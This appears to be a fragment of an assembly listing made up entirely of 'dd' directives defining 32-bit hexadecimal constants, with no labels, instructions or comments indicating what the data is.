		dd 63E748F2h, 71FE78h, 0A8EE943Ah, 9BDA887Ah, 0D9C95B00h
		dd 0D5248B53h, 67EB1F2Bh, 10C265Dh, 7B0EEF3Dh, 0D30DEC50h
		dd 1BB8291Fh, 2F6B007Dh, 0F44D1307h, 0C47F6FBh,	0CC901778h
		dd 0C7163072h, 7A0E03C1h, 97B74080h, 412B08h, 9FF28BF4h
		dd 50662E69h, 3A449203h, 0D03853CCh, 5021B86Dh,	8FCF55h
		dd 0AA8BE042h, 15B3FCEBh, 1310EC00h, 463215Fh, 18D43D67h
		dd 6D76AD80h, 16D67932h, 34131700h, 5D23AB6Bh, 0A63902E0h
		dd 2645080Ah, 2440882h,	0B5B64BC0h, 88BAB213h, 0E029C80Fh
		dd 0C4810663h, 579C0083h, 0E7A16EACh, 0AD1D60F9h, 0A303F2ABh
		dd 0B80DC29Dh, 1E1C56BBh, 0C45DFAEEh, 0C07C9990h, 3549D646h
		dd 3316E401h, 54C312D0h, 24E22F4h, 696CC5BFh, 1F40DE37h
		dd 9400C83Ah, 0E3091027h, 1D79407Ch, 80ADD21Bh,	0BD73BCDDh
		dd 0E8008B0Eh, 4FBBDFA0h, 3209B7h, 0C279F2CFh, 0BE9ADAFEh
		dd 6A86FC00h, 0E5CD2C25h, 741200A1h, 1DD08D5Eh,	0CBF272C2h
		dd 4B42CA00h, 46ECE570h, 0AF400001h, 0E083A958h, 0B400C22Eh
		dd 0FF501BBEh, 0F65F3Fh, 0E4CCB89Fh, 0BF3DECB9h, 802C2F3Ah
		dd 0F08A40EEh, 61CFF8h,	8C77908Dh, 62F5DA86h, 58475F1Dh
		dd 5E4F4C0h, 6803CBh
		dd 6D256E34h, 0E19A38ABh, 8026223Dh, 0A156A94Bh, 72F9151Eh
		dd 0C96E038Eh, 27200AAAh, 4DF43180h, 97640C07h,	9010A245h
		dd 605BB649h, 3BBF085h,	0AF007CE1h, 412289C8h, 10CE8Ch
		dd 0BC38AAA6h, 0A1DF2B40h, 77EF7C01h, 29E22013h, 0FAB41081h
		dd 20217DD0h, 0D90039A0h, 0FF5A1E0Fh, 8B8AAh, 0AD372266h
		dd 4CB7326Ch, 750016FEh, 18F5A982h, 0F47B1AE4h,	0FAD1000Eh
		dd 2F1B98C9h, 0CB0052B3h, 0EBC2D242h, 197BC4Fh,	19EC9F5Ah
		dd 60538C24h, 0DBEE4725h, 990D0E00h, 96AE1617h,	0F27A00ACh
		dd 123CECA0h, 0B01737BFh, 801C0F4Dh, 3B3E39h, 17C8E8B2h
		dd 0F07CB624h, 0A1B40094h, 0A8638AF2h, 18C1A68Bh, 0E64AECC0h
		dd 0DA24D0h, 17AB2F74h,	0D73FFE18h, 4057ED00h, 0B0E82533h
		dd 86DD035Ch, 54CA6EE7h, 5D852ED8h, 7E480860h, 3CDA8h
		dd 1F9B1AF4h, 4DFACBE0h, 3FF3DC07h, 0E3A012B8h,	92EC51h
		dd 702DCF42h, 5D64E236h, 90D0F203h, 0DF9ECCA7h,	377FF5D0h
		dd 7CA90F56h, 1C8FB5h, 441614ECh, 0B900FEDFh, 0DED6E6CFh
		dd 7A65661h, 3FFCB712h,	62D41046h, 0BA053EF5h, 1C451D75h
		dd 6C77B180h, 0F9F1013Ch, 43A31668h, 0CB76C00Bh, 9E42C900h
		dd 0C6F4A238h, 0F9AE007Bh, 0E1448ABh, 94B0554Ah, 7074111Fh
		dd 0CDE10A80h, 0B772F3h, 445B130h, 0A30594BEh, 0A6BCD801h
		dd 0A02C47AEh, 0E62BE540h, 1ACC281Eh, 0D4B238CFh, 0C6050370h
		dd 4A89464Dh, 80076BD0h, 8E843200h, 297BE8D8h, 9CEA019Dh
		dd 0D4111FA3h, 69084057h, 3A001E47h, 983907E0h,	4409B1h
		dd 0F6895E67h, 8BC120FEh, 7A016E00h, 586CA846h,	74B400D5h
		dd 29627CAAh, 0A3797D02h, 68F79D00h, 5F6314DDh,	0B2D8005Eh
		dd 0CDCBBF5h, 3A00A1D4h, 59B80D6Eh, 35DC1A7h, 8F10F024h
		dd 0BFC871E4h, 90009682h, 9DC9F22Dh, 9233F4h, 42AD0281h
		dd 437945F9h, 0DEFE4F0Eh, 0B6DE77Dh, 0A7EC9850h, 0A9A3007Ah
		dd 0C229928Dh, 5100EE40h, 5F9B20F5h, 1F7CAB38h,	83454864h
		dd 885B05C1h, 788AF088h, 0EC1AA300h, 0CB362749h, 52143026h
		dd 0D7F09ED8h, 81E08A2Eh, 689BBC00h, 484D2BF9h,	0C4494C6Bh
		dd 6199DE00h, 902A5BD9h, 0DD27681Eh, 0CE380039h, 0DAC833BCh
		dd 5A161DF3h, 0E4DC4078h, 0B0F16514h, 5E624900h, 679E8061h
		dd 7F5300BDh, 9B521D50h, 9C00F4ECh, 0A3EEE133h,	0B02D31h
		dd 0FC51ACFAh, 9BA94532h, 747458h, 0DD17427Ch, 0A38B35h
		dd 0E0B3EB8h, 1AD12AF6h, 400D6EEh, 4C8D16F4h, 7E45E1Dh
		dd 0EA0B87B2h, 0F6F7700Ah, 92011E7Dh, 4ACE15E5h, 0EDEC952Bh
		dd 0CCE950F1h, 8D761807h, 0B3C9184Dh, 8E5FD600h, 4E741F79h
		dd 686848DCh, 9CA19B00h, 2D1E191Dh, 0DC2C9328h,	4267C912h
		dd 8EC5400h, 0F6743EF3h, 0B08E7596h, 0A97D006Ch, 0E3F8CB87h
		dd 161DC3E4h, 0EC3695Bh, 0A01E2A19h, 20C5E02h, 0DBDF82AAh
		dd 4440EE16h, 0CF0F8569h, 8F42D801h, 0ECCC16Ch,	0DC47417Ch
		dd 0E4E1A3A0h, 83F93BECh, 886D1180h, 0D66F231Fh, 3A16A003h
		dd 0B0B4D3D1h, 374689h,	1C03013Dh, 579D098Eh, 0B6D9D600h
		dd 0F743B148h, 8FF200F4h, 672FACF3h, 301ED8E1h,	0AEFC75h
		dd 80AE117Dh, 11A4E419h, 0BB3D0083h, 26D6503Eh,	3C00499Bh
		dd 0EF578108h, 124ACAh,	939888E0h, 41B7ED7Ch, 0D7D2BF00h
		dd 53789991h, 621D396Fh, 19640580h, 26D98758h, 9FD55100h
		dd 0F3F6A565h, 37FE0054h, 67E514AEh, 1138D3D9h,	0AFDE80ECh
		dd 25DC2712h, 4ABC015Dh, 0F8E28C30h, 0E4B8404Dh, 6200801Ch
		dd 1181ABFCh, 1277A86Ah, 7EC40BAh, 908FC7B0h, 5166E054h
		dd 0D363810Bh, 24AC0025h, 0A0CB31D0h, 0CAECECh,	0BD3E1E49h
		dd 5841C49Dh, 0F9A9E900h, 0F34CB1Dh, 0D6B11D62h, 9D89801Ch
		dd 0AF4D7BECh, 4E23CD00h, 0E18FCA2Eh, 0A800A46h, 38D08EEAh
		dd 7580A53Ah, 43B70D30h, 9500A6C6h, 88E3323Bh, 0A906BDh
		dd 9A98F902h, 0EB97C892h, 0ED1FF51Dh, 11CDC7CCh, 59170149h
		dd 0E2E59A79h, 0C9D040B9h, 0F08CD5F9h, 688B487Eh, 68649500h
		dd 9FEDE349h, 0C7868E05h, 1C94412Ah, 5FF09F80h,	0A9B00E64h
		dd 5680D17Ah, 0F9A85587h, 0EC0E3Fh, 0E5641314h,	38A4393Eh
		dd 0AB072BB6h, 0F08909A5h, 73CD8D0Dh, 0F46A4800h, 6CAACC5h
		dd 0FFBD00D5h, 0D039CB96h, 4D00E622h, 0ACBB3E86h, 300E60DAh
		dd 0BE487A8Eh, 3600F40Fh, 0CF277C97h, 4A427Bh, 39715753h
		dd 762F64D3h, 0E9BE8A00h, 0BCC13594h, 6C0B00FFh, 0C3599252h
		dd 0C400D4DEh, 0B90F294Fh, 0CBC15Ch, 72426BDDh,	0FBCA6306h
		dd 9445B800h, 0C861074Ah, 0E7AA00E5h, 646E7E47h, 4E162855h
		dd 0EF0568ADh, 800E477h, 373C63AAh, 13EE0798h, 0C0B7AFD1h
		dd 17121FE5h, 0EE8CF00h, 0C304EA90h, 7210024h, 0A7614ABh
		dd 800047E0h, 9F209C89h, 3EB5115h, 16E2A866h, 5BE8391Eh
		dd 0BB002153h, 4AB53593h, 13D27049h, 26029FEh, 0C2B379B1h
		dd 8908D3C0h, 7A100B00h, 0F38785DFh, 5D7315CAh,	8110B868h
		dd 93F78F07h, 80C0EF0Fh, 33748832h, 62170014h, 6E1E4373h
		dd 0F800651Dh, 5D0EBEEDh, 0C2F9D9h, 75A54B05h, 2801D491h
		dd 0FDF59803h, 0C8721A32h, 3ED81Dh, 53C8DEB9h, 0E2CBDA84h
		dd 94173700h, 6D417908h, 990A5CC0h, 54878A07h, 64FD6045h
		dd 0CD03E5A7h, 34C35CD5h, 9A100063h, 0B9729574h, 0BA01DB1Ah
		dd 839993CCh, 7AE5F343h, 39E46BF5h, 187F14h, 96736EAAh
		dd 7949FF2Dh, 7790AF0Fh, 116A80DFh, 0B94B41h, 4035271Bh
		dd 6778842Dh, 0A688F907h, 9EB004BAh, 3FD60BFh, 0F809E2C6h
		dd 6AA3DC22h, 0CD5C8780h, 31007CF0h, 917A1C13h,	3CD6A294h
		dd 14804B4Dh, 0F5368927h, 680F6562h, 40927A6Bh,	7BF12D0Ah
		dd 0F0820039h, 5FEA9C23h, 0FA00989Fh, 0FE3F09ADh, 9843F3B1h
		dd 78AE000Eh, 33AF4845h, 0B7E06B4Eh, 0A2755B00h, 97D5966Dh
		dd 0F1F71C26h, 54C001ACh, 818025ABh, 433E968h, 4BF8B5DBh
		dd 871A396Dh, 0C04E961Fh, 0A92D0B79h, 4100507Bh, 0CF10B76Bh
		dd 18B8EB0h, 24C61BD8h,	85C3EE0Bh, 0ADFCDF70h, 806F8100h
		dd 0CD273Bh, 63FA9B1h, 3E93730Eh, 0A5978200h, 0B8AE558Bh
		dd 91E60061h, 4DE28692h, 1E00BF6Dh, 2CA4A16Ch, 0F2FF81h
		dd 0B70942BDh, 264DF0E7h, 294B9100h, 0CD6841E8h, 3E511D6Ah
		dd 3FAF007Eh, 1C27608Ah, 49009D75h, 432295BFh, 20DA67Dh
		dd 6770EDC3h, 63C11F05h, 0D3B080B7h, 538D5DDAh,	9DE7E4Dh
		dd 8A5BCCD0h, 0E6108E00h, 0E20316CAh, 452CBB79h, 0C486809Eh
		dd 52A4001Fh, 14389572h, 9407C5C3h, 22BE7F8h, 35D29B20h
		dd 0C206181Bh, 5E3351ECh, 8CA93F0Bh, 0E6CE0362h, 89F1D84Eh
		dd 3C540057h, 4F7AF672h, 6E01FF08h, 0E77745E5h,	36C00D35h
		dd 330E1EFCh, 9C2D80A7h, 2BAA4BF5h, 0F4710B28h,	0D6602C00h
		dd 1EAE6E03h, 88BB4987h, 53B6940Bh, 5D8C9A80h, 570F0423h
		dd 0E31FA048h, 0E3E77F3Fh, 0A80F0060h, 40B5922Eh, 5E3A5CF2h
		dd 9E68BF3Ah, 0E987A995h, 282077FCh, 58CFC1h, 0C63B35B7h
		dd 0CCAEAA4Dh, 5242151Bh, 2F5FD910h, 78609DF9h,	6046036Bh
		dd 0E5BE8303h, 0DCC6EEF8h, 0A2DAAE00h, 97EDC0D5h, 6BD21795h
		dd 0BE00EF01h, 0CBCCB43Ch, 587F03E0h, 990FC17Ah, 0CAC370D7h
		dd 401839Bh, 8E1A7805h,	0AA97610Bh, 5B8603CBh, 0F5D8F792h
		dd 7600B090h, 7DAA6B99h, 5C64Bh, 782CFAEAh, 96AD8E54h
		dd 0A2D3E600h, 277F7237h
		dd 71380726h, 0E0AC4A29h, 81DC121Dh, 0B245A900h, 0D7C40F94h
		dd 0BBAF04C8h, 0C0198AA0h, 917922BBh, 6F126E02h, 8034FE7Ch
		dd 0F7A6A508h, 0D6C70098h, 944DC843h, 1001167h,	3C89AE2Fh
		dd 9F9E4AD5h, 0E60E7F50h, 405DB460h, 0B8D9CAF6h, 744F00DEh
		dd 84E41E48h, 2B003D91h, 8B95C418h, 0DC7F60h, 0A1A3C6F2h
		dd 0E6A4BF16h, 0B21FC200h, 97ECC00Eh, 189F003Ch, 0D5D8A970h
		dd 0EE381A89h, 0B34A9F02h, 83DCC700h, 1DEB1B8h,	98CB3E77h
		dd 40F70464h, 5ACD5EBEh, 0A88DACA0h, 49B75218h,	8D6F011h
		dd 5BA396F1h, 0F0FC6A1Fh, 1F8F7D00h, 6BB7A587h,	26E0712h
		dd 209CC67Eh, 0E552019Ah, 7BEDCE00h, 0CF4508C2h, 0F4720232h
		dd 4642719Dh, 0DC8F8E3h, 0A81E134Dh, 3C452F0Ch,	80EB14F4h
		dd 163DCDC6h, 4E00C572h, 0CA836780h, 0E010032Ah, 98F6FAA2h
		dd 0BE080055h, 2C8B6815h, 51FE46A8h, 8AEE1C00h,	0A69C3562h
		dd 5EC0A0E4h, 70DF0055h, 31492545h, 8100D5D1h, 0D79E5404h
		dd 180E9194h, 80C54268h, 77FA82BDh, 3952571Dh, 81CF2800h
		dd 16F245Fh, 921DA217h,	40A687D0h, 0CD83ACEAh, 0F470B63Ch
		dd 0C6EA5B07h, 0CAFE4626h, 0FF00EC9Ah, 0CEB7DA1Bh, 4A5F0010h
		dd 7C91F681h, 0E43CFC7Dh, 81593A54h, 8A998584h,	79E87B98h
		dd 4B2300E3h, 7D37B857h, 5624C270h, 0D2075839h,	6A005E1Bh
		dd 0CADE86h, 0BA5C09D0h, 80E0BEBCh, 5D3FD61Dh, 3BC042DFh
		dd 0C5D54911h, 55C71497h, 8D0308EFh, 1F804831h,	2140C689h
		dd 190BFC58h, 98A6B900h, 73C3FB70h, 0C40D0051h,	3B0AF4BAh
		dd 4A03D6FEh, 17460E42h, 0F7D2E0F6h, 4D900054h,	484E6EF3h
		dd 2B1F6992h, 33AAA62h,	0A1B68F42h, 0FA8A88B0h,	0B79C0002h
		dd 933EDF79h, 0A2003D54h, 0AA6E4B18h, 48239B62h, 253FC289h
		dd 290010CCh, 86CC606Ah, 0A1008F30h, 115B63A6h,	73D97150h
		dd 2E670B8Ch, 80FFAB7Bh, 55DB2999h, 0EA2B3A5Fh,	0FB7A4280h
		dd 0CBDC7CE8h, 9FE43300h, 5B69DA04h, 6CEB00C4h,	4A7A44FCh
		dd 3D0747D2h, 632083D6h, 0B0CBC6E0h, 118E00CCh,	0AFD00E34h
		dd 0A0019DC7h, 95A5DE6Dh, 0A080E6B8h, 0D5ACAA3Ch, 29C032D2h
		dd 0AEE389B4h, 16D10010h, 33836547h, 4E006D9Ch,	6CCAA854h
		dd 2456928Eh, 0D01E8Ch,	91064B36h, 95093BFEh, 811138BCh
		dd 0A0F68B5Ch, 0CA8720h, 3E487ADFh, 0EE5D3A3Ch,	0B34E4B03h
		dd 7F5801FFh, 0AE2500D2h, 75BD732h, 0B200F296h,	0B03680D9h
		dd 0AE690DCh, 228B78A1h, 8F7900ACh, 1ABFCBA2h, 0A9839F00h
		dd 0BB9ABD64h, 267A1216h, 0B44409F2h, 3572EB80h, 0B0008B5h
		dd 25180986h, 0FBEE27h,	5D8E4A58h, 0A11D3CCAh, 49CE5200h
		dd 503DBCEFh, 88315159h, 39F61BDCh, 0CE0164B6h,	0ADE5A8D5h
		dd 0F867D55Dh, 801FCC87h, 0AA55959Ah, 0E5C900A8h, 0F9930F4h
		dd 72B009D0h, 4C10A6B2h, 1373F955h, 99A54600h, 27FCA87Bh
		dd 420C0088h, 0CC763515h, 0C900622Ah, 0F27C9BADh, 0EF09ADBh
		dd 6F3370AAh, 0E3E42280h, 0B300266Ch, 49A5F7B9h, 18EE0CDh
		dd 6270CED5h, 0F476E880h, 3400C49Dh, 61682498h,	7328D8h
		dd 0C2B10E81h, 980DD2Fh, 146A2260h, 0EA7417B0h,	26FD0E4Dh
		dd 0A2A137A3h, 0BD054A32h, 5B7002D8h, 0E0C81609h, 77AED0h
		dd 0D2180B69h, 75A453B4h, 0BE558F00h, 95BDDE3Ah, 0AA60052Ah
		dd 1DE0826Bh, 1355308h,	92034E16h, 2BDC2032h, 0B8C52700h
		dd 0C761FFABh, 95150021h, 0E5184C0h, 0AD58D8F4h, 0CD20028Ch
		dd 0E25DC98Ah, 6604A143h, 9ED8C6BDh, 213F031Dh,	9CE84B06h
		dd 0E0D57490h, 0FD3E170Ch, 3F868C3h, 0EF288AD7h, 0F9D058AEh
		dd 0C4B2C75Dh, 68167074h, 1400082Ah, 0D81242FCh, 0A64F0A72h
		dd 2AA49C28h, 0C6023DE8h, 38DC5499h, 0D988E495h, 0E466ED24h
		dd 3C5D5803h, 0F021F87Dh, 0BE491D0Ah, 65C4C019h, 0CAF28F17h
		dd 0FD62E201h, 0AED1920Dh, 17F8020h, 873A25Eh, 0DC25C6BFh
		dd 4A0041FEh, 87F3DFC2h, 0AA68C8h, 0D339F73Bh, 0D132E6FFh
		dd 1438A549h, 88802D45h, 7ED28EBCh, 0B8942CA0h,	9EFE8A98h
		dd 809F4A3Eh, 0B390BC93h, 0F41ED512h, 682B0019h, 785EF0E4h
		dd 0BE033386h, 9A4010B7h, 160157Eh, 1F167015h, 0E3E800A9h
		dd 0B9144DAFh, 8500A57Dh, 12F5ABCBh, 58C53FEFh,	6F2C5C56h
		dd 47700F1h, 0C3A1D453h, 0A4235828h, 0E0F58024h, 0B9341380h
		dd 479B8Ah, 94FFEE43h, 4B9277F4h, 3DABCE06h, 0E590A85Dh
		dd 0B3CCF0CFh, 0D832004Ah, 49D0CDD3h, 0AB0C378Fh, 0B0712E85h
		dd 14191418h, 8E0DD0E5h, 0EC19DF01h, 41076575h,	61DEAB44h
		dd 8E960C91h, 0F9002433h, 71A33AF2h, 27245879h,	9600B813h
		dd 6948302Dh, 4A800CB3h, 24B0E187h, 1F9ED200h, 1AC684A2h
		dd 60B100CDh, 313C12E5h, 0A5065E7Ch, 217C130h, 0F839E6B9h
		dd 26240B82h, 8802F3Bh,	1B882CC5h, 42540B00h, 9747679Ch
		dd 3ADEE84h, 0E908C6C2h, 50003ADCh, 0C8E39144h,	7995719h
		dd 6F7278BCh, 9773F3C6h, 0CD1E70E8h, 58ADB07h, 11A0F1C2h
		dd 3F6CA2h, 75D0D406h, 25DDCB5Dh, 0D3923Ch, 706EC5E5h
		dd 0D6CCE6h, 1B49322Eh,	0B1E42CF4h, 2FF86B00h, 4522E305h
		dd 357210h, 1DFB7279h, 0E103D164h, 0CA6A200h, 2778063Eh
		dd 0E0677381h, 0FF0400DBh, 0F26558BFh, 7D030CABh, 0D2F94080h
		dd 0B35A8855h, 0ED0D3E5Bh, 0E67EC500h, 36971D29h, 6A13877Dh
		dd 0D000EAA3h, 0B1F8DA40h, 418900E5h, 3429FA35h, 1158B3B2h
		dd 2FDD00CBh, 0BB2618A3h, 814E005Ch, 66FFBFECh,	631CEE88h
		dd 0F68099C9h, 4758BB85h, 51B60061h, 0A5BA5DF7h, 320B8B77h
		dd 802F9A3Bh, 0BFF09C70h, 69E20417h, 8001DB22h,	403C09C5h
		dd 9B939F0Eh, 0EB7940DFh, 692DCCh, 4DAC4410h, 0BBE85F17h
		dd 183D8F00h, 76DFF874h, 8A6C0953h, 4407C0EBh, 1503000Bh
		dd 0E775847Fh, 20A04Dh,	828E7E96h, 2C215DFAh, 0CE315AEh
		dd 0E521051Fh, 775EF900h, 0FE434B4Fh, 0E6DE1E8Ch, 13DC80E3h
		dd 6F0D54CCh, 9C532600h, 8333503Ah, 0B091006Ch,	40ACEAC8h
		dd 0B9006625h, 488E51DEh, 1041B2h, 0CBC2C124h, 853634D9h
		dd 6E19FB1Fh, 0E7C75F40h, 0E47084h, 792B644Ah, 4D30BD77h
		dd 0B37BEE01h, 7EDF430Fh, 0CB8C20h, 0E361F307h,	0BEE6B5D4h
		dd 508AD300h, 4408B330h, 2BCC1FCEh, 5F394207h, 0BC40E86Ch
		dd 0B80E1312h, 9E8DF171h, 347A5B00h, 0FA9369F9h, 23F7089h
		dd 11D01A76h, 0C8605810h, 3D0FA81Bh, 0CB697823h, 0D10C0187h
		dd 0A07FE529h, 0F7F8AB16h, 6D92C000h, 0F4B6CC1Bh, 75C20E78h
		dd 1E295613h, 0EC8964A2h, 0A773A923h, 0D3E9C290h, 0F50D0062h
		dd 98405706h, 0AB0053A4h, 769BA7F2h, 90DAF72Eh,	28541E19h
		dd 8F084055h, 6CAA8034h, 0CB00CC98h, 87674A40h,	32356979h
		dd 8871D0A5h, 4CC95810h, 0E1079CA8h, 371643C1h,	50B7B72Dh
		dd 0C5D46EAEh, 0E301D272h, 41817AB3h, 0DC4165D1h, 1C21FBC9h
		dd 42806C73h, 0B018135Ch, 8711DB3Ch, 0E4F127F3h, 0F55305A0h
		dd 1D8E2C92h, 1C2648h, 683BF7D6h, 8500D00Ch, 1053EE75h
		dd 1C8D3E3Dh, 0C098B57Dh, 1E51196Fh, 56EAA1E7h,	9A21D89Ah
		dd 9739018Eh, 0FC7A9BFCh, 8A0F17B6h, 60945A95h,	2D19D71h
		dd 5D011D03h, 4860D870h, 398915B8h, 0E1018476h,	12326688h
		dd 0A1942491h, 0A7F0DDEEh, 8B00B472h, 1B35E786h, 59B56CADh
		dd 9E1FD023h, 1F7440CFh, 0A14A12FEh, 0F4555603h, 0C1D4A9h
		dd 0F6110548h, 0CB8EC873h
		dd 0ACA3DE26h, 531A3702h, 0DDAC8564h, 74439780h, 0CA58E1h
		dd 0A5D220Ch, 2A00D760h, 99EE26A6h, 7A1C3402h, 9DF91E2Ch
		dd 6AB9407Ch, 0B51340BCh, 1D5C02E2h, 0CC3801C8h, 0B9193DDDh
		dd 0FCD5F0h, 6090333Ch,	119691A8h, 0DEB15A1Ch, 4D4B55DEh
		dd 0A5400135h, 87FCB9AAh, 88231244h, 43E01D3Fh,	1758D471h
		dd 0B11A2009h, 62D8C167h, 76149FE0h, 170B71DFh,	404D3ED6h
		dd 0C754B404h, 0F002CC1h, 568759FCh, 0B826C009h, 0BD67009Ch
		dd 0D4EAC350h, 8F27D7B6h, 0CA47614Fh, 0FE86CE20h, 2EA10080h
		dd 0DC75A2CBh, 0B858A565h, 9C9500E4h, 0C5428733h, 3D7E6E7h
		dd 5C224CE1h, 4DEA6D27h, 0F5007446h, 0B5DC7260h, 1D1F352h
		dd 30CBE820h, 208A09B0h, 88017814h, 0F69D21CDh,	6DE46F29h
		dd 0DB130098h, 6991579Ch, 40161E7Eh, 0A6002B2Eh, 86AC4601h
		dd 0A41158A2h, 0D1D69500h, 303A4C5Bh, 450F9C00h, 94206BFh
		dd 0A2E207A5h, 804D1497h, 0E12CB8CAh, 0AA6E5E01h, 0A405C9EEh
		dd 2EACED8h, 355C4C50h,	446096B8h, 810FFB7Ah, 0E0F61940h
		dd 0A061B022h, 107E27h,	54AE7292h, 0E34F0FEBh, 52FB8A1Dh
		dd 84006852h, 0D83AF036h, 2E6C00C8h, 61D914A8h,	0B600AE37h
		dd 0F4904BDEh, 0B2867Fh, 3343F2DAh, 3E9A3CABh, 0A32BDF03h
		dd 3E2D951Dh, 208052E8h, 51B86DBFh, 0A9005C2Fh,	0BA63B122h
		dd 3F4E353Fh, 0E500E4AFh, 7A920BEEh, 6E15F624h,	3C084F40h
		dd 6A568174h, 0CCC3F081h, 3C7668E8h, 47780F3h, 0EA650DF1h
		dd 6BC480FDh, 0C8010CAAh, 1AEEBD6Fh, 1DE05530h,	0F72A0901h
		dd 0D82062F1h, 907E8EE2h, 0DE3AD900h, 7D998027h, 0C2A23F6Ah
		dd 0ACC94E80h, 0F8C70483h, 8F1E2Dh, 6D449A74h, 0B517003Ch
		dd 8AB7E52Dh, 4900E6D6h, 0D5C1105Dh, 0A29383h, 0C55A4889h
		dd 88CF29FBh, 26F4E709h, 36EC804Fh, 0EAFC28Ch, 835674EBh
		dd 0C11B8605h, 0D44ABF60h, 72EA0D34h, 0F15D7C00h, 62A3C373h
		dd 7BD269Ah, 0E8320325h, 0C49351A1h, 0BCAB8FB0h, 6523D400h
		dd 0D284CCB4h, 25F07E0Eh, 14002934h, 0B9A0C299h, 8895A10Bh
		dd 11A0212Ch, 403476F7h, 0BA1707B2h, 60015083h,	8EC04385h
		dd 5D6FCA00h, 0C18FA72Ah, 0C9C63BF2h, 0A6A12C00h, 7DCFDF7Eh
		dd 0B5185B01h, 0D1897868h, 0E6E430h, 0DA936A1Ah, 675C4E0Ah
		dd 3A009498h, 72AE24C7h, 0B26D47E6h, 15ED0028h,	4C7ABFCFh
		dd 0F31F9957h, 0AF03228Dh, 0E19F2F05h, 1090234Eh, 24C407B5h
		dd 20FC06C5h, 0B6221C8Ah, 3A62CFE8h, 2CF62B00h,	209A04C8h
		dd 2181EA0Dh, 23E0803Bh, 16AC7679h, 0DC20BA0h, 0C0290A24h
		dd 0E374D13h, 0D5805084h, 0E844C2h, 0BE1A6D4Ah,	829758Eh
		dd 8897B700h, 190CBF51h, 6D5F0C0h, 9B4E8BDCh, 6D009862h
		dd 43613C76h, 249736A3h, 3B74D52Fh, 0FCBFE700h,	0E3563015h
		dd 0B4530900h, 5966A29Bh, 0D2AD072Ah, 11D6D8CBh, 2084DA71h
		dd 0CD07C77Ah, 2F916B75h, 0FA30D080h, 472F63Eh,	0B4BEB73Dh
		dd 658815Bh, 0DFC6F0AFh, 86EA337Ch, 1F2D3B00h, 8A374907h
		dd 4B18C40Ah, 230880EDh, 4E6D73BEh, 31D02038h, 68B75932h
		dd 4C522900h, 563C6A59h, 48C12E78h, 392A26AFh, 0B60C28BEh
		dd 4C182CEFh, 8862851h,	414ED6E8h, 2F43481Eh, 306CF70Bh
		dd 0B6213F08h, 2002BF9h, 5E94EB24h, 0B8FA34D4h,	39062E01h
		dd 4228034Fh, 1000DB20h, 0BF1536BCh, 0AE07B3h, 0CE6F8950h
		dd 0A297B667h, 0D6CB3A00h, 0E1339668h, 0EF911C61h, 7AC380B9h
		dd 85ED1CC1h, 3B7E8A00h, 0D34DCE51h, 5A670064h,	8E980182h
		dd 6B03260Fh, 939DF344h, 0D8949339h, 0B2E1A0h, 67D1701h
		dd 0EEE76BC3h, 0B84AA400h, 0B3D7DA7Ch, 0D57C8Ah, 9A22543Dh
		dd 72857A49h, 3C06F807h, 6E00A4ECh, 0E9B1C4h, 0FB13A604h
		dd 0CB2B0B1Ah, 21AC08CCh, 30F04CD3h, 54766A03h,	1800AE0Dh
		dd 3A75F115h, 0BA77E6h,	34812E23h, 0FDC787BBh, 2D11800Fh
		dd 0A700DFB4h, 3E89C106h, 720B0C05h, 0F1589A46h, 0F60023F6h
		dd 0C5BB3599h, 6CBA76h,	0C0E7FC19h, 0A31A689h, 0C4717260h
		dd 605FB42Ch, 22395014h, 0A522AA3h, 3091F268h, 0E23E9F6Ch
		dd 78270CAEh, 1F98786Dh, 0F076436Eh, 0D8209128h, 0BF01CF72h
		dd 87FA2812h, 34D02B7Ah, 0FF20C069h, 0BA20CFD1h, 1B17A258h
		dd 0CA506E99h, 0AEC10003h, 6B40A77h, 0B495D601h, 0FAC02B65h
		dd 0D9A30197h, 0CBAE018Ch, 9216CC2Eh, 77715500h, 0E9321EF6h
		dd 21BA00DBh, 0A2A73323h, 443D818Bh, 0A4798B10h, 22A50736h
		dd 0B33E803Fh, 646C59DAh, 8713080Eh, 0CFB2D0A7h, 0C39FFFD0h
		dd 8CF0F7C0h, 168FE795h, 0EF2D71h, 958C239h, 6C004E59h
		dd 5247E596h, 28DAC138h, 0C0EC33CDh, 5AD6DB68h,	42075813h
		dd 0EEE38D88h, 0F3858050h, 0D130C086h, 5E48FDA5h, 0B300F075h
		dd 8C1342EFh, 53C428EDh, 109620E8h, 458020F7h, 29B3F383h
		dd 58144A00h, 0EE3359D5h, 9211019Eh, 945D7FCCh,	3D089804h
		dd 37CAF9h, 0A55E3E9Eh,	77D00AFBh, 0EC0A99FEh, 24B128B3h
		dd 2A9EE980h, 867E9492h, 0C93944h, 9CD09E36h, 4AF62592h
		dd 0FB97321Dh, 54DBEC80h, 0A3588402h, 0A0BF9BB0h, 0C0D4F8C3h
		dd 56617511h, 1D0C5C3Bh, 95BC737h, 2080FDD2h, 4C542915h
		dd 830627B1h, 1ADB2590h, 0B78E0299h, 0EC1DF055h, 0BF138C80h
		dd 1060FF5Fh, 2D12C720h, 48526F23h, 72F07900h, 0A7E2ECB7h
		dd 0BAD4DE38h, 0D56960A4h, 73FFC8h, 655E687Dh, 0D124E21h
		dd 404560C4h, 1148EE27h, 0FB614844h, 0A2D1E973h, 6E443058h
		dd 73C11F19h, 0CC8CC9F5h, 0F1C6ED80h, 20C25D4Dh, 443FEC20h
		dd 0D5E32048h, 9E24A3Dh, 2FAEC9C4h, 393477Bh, 860F3567h
		dd 81280A6Ch, 0F2183748h, 0ECB17208h, 4050C49Ch, 4473FA1Eh
		dd 34100045h, 0E29730BDh, 0EE00D348h, 0D1C3E4D8h, 1013DB6Ah
		dd 0DAB069h, 0F092B138h, 197D4ED0h, 81E3917h, 62180C0h
		dd 1A249229h, 3A2B0046h, 7DEF8FD4h, 0A0C8D8FBh,	72F1C036h
		dd 0E456ECB0h, 0B0BC2AC8h, 73F90300h, 0C3153260h, 23718EBh
		dd 18D980Fh, 0ABA1183Bh, 950506Bh, 5EE0F7h, 0FF89BFA8h
		dd 8E21C817h, 0C5F67809h, 0FA54110Bh, 54042E18h, 36C55CEEh
		dd 1820E832h, 39935416h, 0B78C2782h, 0F9E94322h, 0AE905BE8h
		dd 0D6CA1F07h, 0F01AF862h, 0D4B65880h, 0EAAF3C65h, 5CBC280Fh
		dd 173F81Ch, 24FF76ECh,	8A6F5DBEh, 0CC16E719h, 429D1811h
		dd 6D0F792h, 28FD071Ch,	0F1DCB992h, 22027C03h, 36523F4h
		dd 8C7D9E3Ah, 9167FEAh,	0CE9E23D6h, 3F3D4083h, 431D9179h
		dd 0ADC7E8BDh, 0B0518163h, 8C708705h, 0A02707A4h, 0E072DAAAh
